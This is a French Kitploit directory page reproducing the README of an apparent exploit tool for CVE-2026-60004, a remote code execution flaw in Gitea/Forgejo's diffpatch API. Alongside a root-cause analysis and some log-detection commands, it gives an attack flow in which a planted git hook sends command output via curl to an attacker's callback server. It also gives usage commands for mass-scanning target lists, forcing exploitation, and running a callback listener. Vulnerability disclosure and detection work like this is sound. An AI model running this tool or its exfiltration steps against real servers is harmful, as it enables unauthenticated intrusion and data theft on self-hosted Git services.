Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesTests d'IntrusionRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — RCE via Git Hook Diffpatch de Gitea/Forgejo. Clone nu → injection de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Voir le dépôt
30il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-60004 — RCE par hook Git Diffpatch de Gitea

Injection de hook via clone nu → post-index-change → Exécution arbitraire de commande


Aperçu

CVE-2026-60004 est une vulnérabilité d'exécution de code à distance (RCE) sans authentification, de sévérité critique (CVSS 9.8), dans les plateformes Git auto-hébergées Gitea et Forgejo, affectant les versions 1.17 à 1.27.0.

La vulnérabilité exploite un défaut de conception du clone nu dans le point de terminaison de l'API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea applique les patches fournis par l'utilisateur dans un clone temporaire nu — où la racine du dépôt est $GIT_DIR elle-même. En soumettant deux fois le même patch malveillant, un attaquant déclenche un conflit add/add qui amène le repli de fusion à trois points de Git (-3, Git 2.32+) à écrire un hook post-index-change exécutable directement dans $GIT_DIR/hooks/. Git exécute ce hook automatiquement lors de la mise à jour de l'index, permettant l'exécution arbitraire de commandes sous le compte de service Gitea.

Un accès en écriture au dépôt est requis — trivial à obtenir, car Gitea permet par défaut l'inscription ouverte sans vérification d'e-mail, sans approbation d'administrateur ni limite de création de dépôts.

Versions affectées

VersionStatut
< 1.17Non affectée (la route diffpatch n'existait pas encore)
1.17 — 1.27.0Vulnérable
1.27.1+Corrigée

Découvert par : Shai Rod (NightRang3r), 28 juillet 2026 Projet : Gitea / Forgejo (service Git auto-hébergé) Composant : point de terminaison de l'API diffpatch, clone temporaire nu


Mécanisme de la vulnérabilité

Cause racine

La vulnérabilité provient d'un seul paramètre dans services/repository/files/patch.go :

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

Dans un clone nu, il n'existe pas d'arbre de travail — la racine du dépôt est $GIT_DIR. Un patch malveillant dont le chemin de fichier est hooks/post-index-change atterrit donc directement dans le véritable répertoire des hooks de Git, et non dans un arbre de travail cloisonné.

L'invocation git apply aggrave le problème :

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Pourquoi cela fonctionne

  1. Le clone nu n'offre aucun cloisonnement — la racine du clone temporaire est $GIT_DIR, donc le chemin hooks/post-index-change pointe vers le véritable répertoire des hooks.
  2. --cached n'est pas infaillible — le repli de fusion à trois points -3 de Git 2.32+ écrit les résultats fusionnés dans l'arbre de travail lors des conflits add/add, malgré l'option --cached.
  3. La double soumission déclenche le conflit — la première application ajoute le hook à l'index. La seconde application crée une collision add/add, la fusion à trois points écrit le fichier sur le disque et Git l'exécute.
  4. Git exécute automatiquement post-index-change — après la mise à jour de l'index, Git exécute ce hook sans condition s'il existe et s'il est exécutable. Aucune configuration n'est nécessaire.
  5. Les commandes du hook NE PEUVENT PAS modifier l'index — git update-index à l'intérieur du hook provoque un interblocage car git apply détient le verrou de l'index. Utilisez des callbacks HTTP (curl) ou des shells inversés pour exfiltrer la sortie.

Déroulement de l'attaque

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Références vérifiées dans le code source

FichierLigne(s)Objectif
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — création du clone nu
services/repository/files/patch.go206-209git apply avec les options --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — persiste l'état de l'attaquant
services/repository/files/cherry_pick.go~170Même schéma de clone nu dans CherryPick (également corrigé)

Détection dans les logs serveur

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Le principal défaut de conception

La différence entre un clone nu et un clone non nu — un seul paramètre booléen — détermine si le chemin d'un patch est une entrée inoffensive de l'arbre de travail ou un hook exécutable qui atterrit directement dans le répertoire interne de Git. Le correctif modifie exactement un caractère dans le diff (true → false), ce qui explique pourquoi le commit a été étiqueté "refactor: git patch apply" sous MISC plutôt que sous SECURITY. L'opération censée être cloisonnée à l'index (--cached) a été silencieusement mise en échec par le mécanisme de fusion à trois points de Git lui-même, et aucune protection supplémentaire n'empêchait la création de fichiers de hook dans le $GIT_DIR du clone nu.


Installation

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Utilisation

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Arguments

Télécharger l’outil